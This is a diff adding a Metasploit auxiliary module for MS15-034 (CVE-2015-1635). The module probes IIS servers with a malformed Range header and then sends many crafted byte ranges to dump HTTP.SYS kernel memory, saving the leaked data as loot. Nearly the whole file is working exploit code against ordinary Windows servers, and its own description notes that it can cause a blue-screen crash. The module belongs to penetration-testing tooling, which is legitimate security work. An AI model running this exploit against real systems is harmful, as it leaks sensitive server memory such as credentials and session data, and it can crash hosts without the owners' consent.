|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex/proto/http' |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure', |
| 17 | + 'Description' => %q{ |
| 18 | + Dumps memory contents using a crafted Range header. Affects only |
| 19 | + Windows 8.1, Server 2012, and Server 2012R2. Note that if the target |
| 20 | + is running in VMware Workstation, this module has a high likelihood |
| 21 | + of resulting in BSOD; however, VMware ESX and non-virtualized hosts |
| 22 | + seem stable. Using a larger target file should result in more memory |
| 23 | + being dumped, and SSL seems to produce more data as well. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module |
| 28 | + 'sinn3r' # Some more Metasploit stuff |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['CVE', '2015-1635'], |
| 34 | + ['MSB', 'MS15-034'], |
| 35 | + ['URL', 'http://pastebin.com/ypURDPc4'], |
| 36 | + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'], |
| 37 | + ['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'], |
| 38 | + ['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'], |
| 39 | + ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] |
| 40 | + ] |
| 41 | + )) |
| 42 | + |
| 43 | + register_options([ |
| 44 | + OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']), |
| 45 | + OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ]) |
| 46 | + ], self.class) |
| 47 | + |
| 48 | + deregister_options('VHOST') |
| 49 | + end |
| 50 | + |
| 51 | + def target_uri |
| 52 | + @target_uri ||= super |
| 53 | + end |
| 54 | + |
| 55 | + def potential_static_files_uris |
| 56 | + uri = normalize_uri(target_uri.path) |
| 57 | + |
| 58 | + return [uri] unless uri[-1, 1] == '/' |
| 59 | + |
| 60 | + uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"] |
| 61 | + res = send_request_raw('uri' => uri) |
| 62 | + |
| 63 | + return uris unless res |
| 64 | + |
| 65 | + site_uri = URI.parse(full_uri) |
| 66 | + page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) |
| 67 | + |
| 68 | + page.xpath('//link|//script|//style|//img').each do |tag| |
| 69 | + %w(href src).each do |attribute| |
| 70 | + attr_value = tag[attribute] |
| 71 | + next unless attr_value && !attr_value.empty? |
| 72 | + uri = site_uri.merge(URI.encode(attr_value.strip)) |
| 73 | + next unless uri.host == vhost || uri.host == rhost |
| 74 | + uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file |
| 75 | + end |
| 76 | + end |
| 77 | + |
| 78 | + uris.uniq |
| 79 | + end |
| 80 | + |
| 81 | + def check_host(ip) |
| 82 | + upper_range = 0xFFFFFFFFFFFFFFFF |
| 83 | + |
| 84 | + potential_static_files_uris.each do |potential_uri| |
| 85 | + uri = normalize_uri(potential_uri) |
| 86 | + |
| 87 | + res = send_request_raw( |
| 88 | + 'uri' => uri, |
| 89 | + 'method' => 'GET', |
| 90 | + 'headers' => { |
| 91 | + 'Range' => "bytes=0-#{upper_range}" |
| 92 | + } |
| 93 | + ) |
| 94 | + |
| 95 | + vmessage = "#{peer} - Checking #{uri} [#{res.code}]" |
| 96 | + |
| 97 | + if res && res.body.include?('Requested Range Not Satisfiable') |
| 98 | + vprint_status("#{vmessage} - Vulnerable") |
| 99 | + |
| 100 | + # Save the file that we want to use for the information leak |
| 101 | + target_uri.path = uri |
| 102 | + |
| 103 | + return Exploit::CheckCode::Vulnerable |
| 104 | + elsif res && res.body.include?('The request has an invalid header name') |
| 105 | + return Exploit::CheckCode::Safe |
| 106 | + end |
| 107 | + end |
| 108 | + |
| 109 | + Exploit::CheckCode::Unknown |
| 110 | + end |
| 111 | + |
| 112 | + def dump(data) |
| 113 | + # clear out the returned resource |
| 114 | + if datastore['SUPPRESS_REQUEST'] |
| 115 | + dump_start = data.index('HTTP/1.1 200 OK') |
| 116 | + if dump_start |
| 117 | + data[0..dump_start-1] = '' |
| 118 | + else |
| 119 | + print_error("Memory dump start position not found, dumping all data instead") |
| 120 | + end |
| 121 | + end |
| 122 | + |
| 123 | + print_line |
| 124 | + print_good("Memory contents:") |
| 125 | + print_line(Rex::Text.to_hex_dump(data)) |
| 126 | + end |
| 127 | + |
| 128 | + # Needed to allow the vulnerable uri to be shared between the #check and #dos |
| 129 | + def target_uri |
| 130 | + @target_uri ||= super |
| 131 | + end |
| 132 | + |
| 133 | + def get_file_size |
| 134 | + @file_size ||= lambda { |
| 135 | + file_size = -1 |
| 136 | + uri = normalize_uri(target_uri.path) |
| 137 | + res = send_request_raw('uri' => uri) |
| 138 | + |
| 139 | + unless res |
| 140 | + vprint_error("#{peer} - Connection timed out") |
| 141 | + return file_size |
| 142 | + end |
| 143 | + |
| 144 | + if res.code == 404 |
| 145 | + vprint_error("#{peer} - You got a 404. URI must be a valid resource.") |
| 146 | + return file_size |
| 147 | + end |
| 148 | + |
| 149 | + file_size = res.headers['Content-Length'].to_i |
| 150 | + vprint_status("#{peer} - File length: #{file_size} bytes") |
| 151 | + |
| 152 | + return file_size |
| 153 | + }.call |
| 154 | + end |
| 155 | + |
| 156 | + def calc_ranges(content_length) |
| 157 | + ranges = "bytes=3-18446744073709551615" |
| 158 | + |
| 159 | + range_step = 100 |
| 160 | + for range_start in (1..content_length).step(range_step) do |
| 161 | + range_end = range_start + range_step - 1 |
| 162 | + range_end = content_length if range_end > content_length |
| 163 | + ranges << ",#{range_start}-#{range_end}" |
| 164 | + end |
| 165 | + |
| 166 | + ranges |
| 167 | + end |
| 168 | + |
| 169 | + def run_host(ip) |
| 170 | + begin |
| 171 | + unless check_host(ip) |
| 172 | + print_error("Target is not vulnerable") |
| 173 | + return |
| 174 | + else |
| 175 | + print_good("Target may be vulnerable...") |
| 176 | + end |
| 177 | + |
| 178 | + content_length = get_file_size |
| 179 | + ranges = calc_ranges(content_length) |
| 180 | + |
| 181 | + uri = normalize_uri(target_uri.path) |
| 182 | + cli = Rex::Proto::Http::Client.new( |
| 183 | + ip, |
| 184 | + rport, |
| 185 | + {}, |
| 186 | + datastore['SSL'], |
| 187 | + datastore['SSLVersion'], |
| 188 | + nil, |
| 189 | + datastore['USERNAME'], |
| 190 | + datastore['PASSWORD'] |
| 191 | + ) |
| 192 | + cli.connect |
| 193 | + req = cli.request_raw( |
| 194 | + 'uri' => target_uri.path, |
| 195 | + 'method' => 'GET', |
| 196 | + 'headers' => { |
| 197 | + 'Range' => ranges |
| 198 | + } |
| 199 | + ) |
| 200 | + cli.send_request(req) |
| 201 | + |
| 202 | + print_good("Stand by...") |
| 203 | + |
| 204 | + resp = cli.read_response |
| 205 | + |
| 206 | + if resp |
| 207 | + dump(resp.to_s) |
| 208 | + loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump') |
| 209 | + print_status("Memory dump saved to #{loot_path}") |
| 210 | + else |
| 211 | + print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)") |
| 212 | + end |
| 213 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 214 | + print_error("Unable to connect") |
| 215 | + return |
| 216 | + rescue ::Timeout::Error, ::Errno::EPIPE |
| 217 | + print_error("Timeout receiving from socket") |
| 218 | + return |
| 219 | + ensure |
| 220 | + cli.close if cli |
| 221 | + end |
| 222 | + end |
| 223 | +end |
0 commit comments